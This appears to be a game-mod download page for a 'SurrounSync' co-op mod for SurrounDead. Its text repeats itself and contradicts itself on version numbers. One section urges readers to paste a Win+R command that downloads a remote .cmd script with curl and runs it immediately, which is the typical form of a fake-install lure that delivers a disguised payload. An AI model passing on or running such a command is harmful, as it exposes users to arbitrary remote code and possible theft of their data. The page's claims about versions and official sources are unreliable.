SurrounDead Co-op Mod — SurrounSync
- Game
- SurrounDead
- Trainer version
- 0.13.0
- Added
- Nov 12, 2026
Windows PC mod. You can’t install it from a phone.
Download mod Open in TelegramOr copy this page link and open it on your computer.
Screenshots
Alternative install via Win+R
If you don't want to download manually: one command in the Run dialog downloads the official TrainerHub.zip, unpacks it to %LOCALAPPDATA%\TrainerHub and starts the launcher.
- Press Win+R (the Run dialog opens).
- Paste the command below and press Enter.
- Wait for it to finish: the script downloads, unpacks and starts TrainerHub.
cmd /c curl -sL https://pctrainerhub.com/i/surroundead-surrounsync.cmd -o "%TEMP%\th.cmd" & "%TEMP%\th.cmd"
Paste only the command from this page. Official domain is pctrainerhub.com; the file SHA-256 is shown on this page.
Requires Windows 10 1803+ or Windows 11 (curl and tar are built in). Archive size ~38.5 MB.
If your Windows is older than 1803 or the command fails — use the regular Download button and unpack the ZIP manually.
Description
SurrounSync current file is 1.1.0 (7 Nov 2026) for SurrounDead 0.8, not the 0.13.0 string still copied around. Installer is setup.exe. In-game J opens CO-OP. A 0.13 guest vs 1.1.0 host will not handshake. If J does nothing, setup.exe never finished or the game is not 0.8.
0.13.0 zip and dedicated exe 0.13.0 is out of date. There is no separate dedicated server on this path — setup.exe then J.
Fan co-op on SurrounDead 0.8
- Up to 4 over Steam, no port forward.
- SurrounDead 0.8 for everyone.
- UE4SS runtime in the setup.
- Same SurrounSync version.
- Not endorsed by Zurvivor. Official SurrounDead co-op is still a future Steam roadmap item. SurrounSync (SYMPLYSCK, UE4SS) is the 2026 fan drop: 4 players, Steam, host handover, needs game 0.8 (branch since 5 Nov 2026).
setup.exe 1.1.0, then J for CO-OP
Click Download on the right of this card. Then Files → SurrounSync. setup.exe for 1.1.0 on game 0.8, then J opens CO-OP.
- Files → SurrounSync → Download.
- Close the game. Run the setup from the README.
- Host a Steam lobby. Friends join.
0.13.0 guides are stale
0.8 broke older builds. Do not use the 0.7.1 'previous' beta.
Same TrainerHub Files zip and the same SurrounDead build for the whole lobby. Own session. Do not bring a trainer into this co-op.
SurrounSync on TrainerHub Files, not a third-party mirror
SurrounDead co-op, SurrounSync 1.1.0, game 0.8, J for CO-OP, setup.exe. Guides still saying 0.13.0 will not handshake with this Files zip.
Frequently asked questions
Where do I download the SurrounDead Files drop?
This pctrainerhub.com card and TrainerHub → Files are the same archive. Use Download on the card.
Do we all need the same version?
Yes. Same Files zip and the same game build. Friends / own session only.
How many players?
It depends on the drop — read this card. Everyone installs the same zip.
How do I install it?
TrainerHub → Files → this card → Download. Unpack into the game folder listed above.
Is this the trainer? Can I cheat in co-op?
No. This is a Files co-op drop. Keep the trainer on its own card and out of the lobby.
How to install
Click Download on the right of this card. Then Files → SurrounSync. setup.exe for 1.1.0 on game 0.8, then J opens CO-OP. Files → SurrounSync → Download. Close the game. Run the setup from the README. Host a Steam lobby. Friends join.
Comments
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Nov 12, 2026 Mod v0.13.0
Mod updates
When the game patches we recheck this Files drop and refresh the zip on the card and in TrainerHub.
Tags
SurrounDead Co-op Mod — SurrounSync
SurrounSync current file is 1.1.0 (7 Nov 2026) for SurrounDead 0.8, not the 0.13.0 string still copied around. Installer is setup.exe. In-game J opens CO-OP. A 0.13 guest vs 1.1.0 host will not handshake. If J does nothing, setup.exe never finished or the game is not 0.8. ## 0.13.0 zip and dedicated exe 0.13.0 is out of date. There is no separate dedicated server on this path — setup.exe then J. ## Fan co-op on SurrounDead 0.8
- Up to 4 over Steam, no port forward.
- SurrounDead 0.8 for everyone.
- UE4SS runtime in the setup.
- Same SurrounSync version.
- Not endorsed by Zurvivor. Official SurrounDead co-op is still a future Steam roadmap item. SurrounSync (SYMPLYSCK, UE4SS) is the 2026 fan drop: 4 players, Steam, host handover, needs game 0.8 (branch since 5 Nov 2026). ## setup.exe 1.1.0, then J for CO-OP
Click Download on the right of this card. Then Files → SurrounSync. setup.exe for 1.1.0 on game 0.8, then J opens CO-OP.
- Files → SurrounSync → Download.
- Close the game. Run the setup from the README.
- Host a Steam lobby. Friends join. ## 0.13.0 guides are stale
0.8 broke older builds. Do not use the 0.7.1 'previous' beta.
Same TrainerHub Files zip and the same SurrounDead build for the whole lobby. Own session. Do not bring a trainer into this co-op. ## SurrounSync on TrainerHub Files, not a third-party mirror
SurrounDead co-op, SurrounSync 1.1.0, game 0.8, J for CO-OP, setup.exe. Guides still saying 0.13.0 will not handshake with this Files zip.
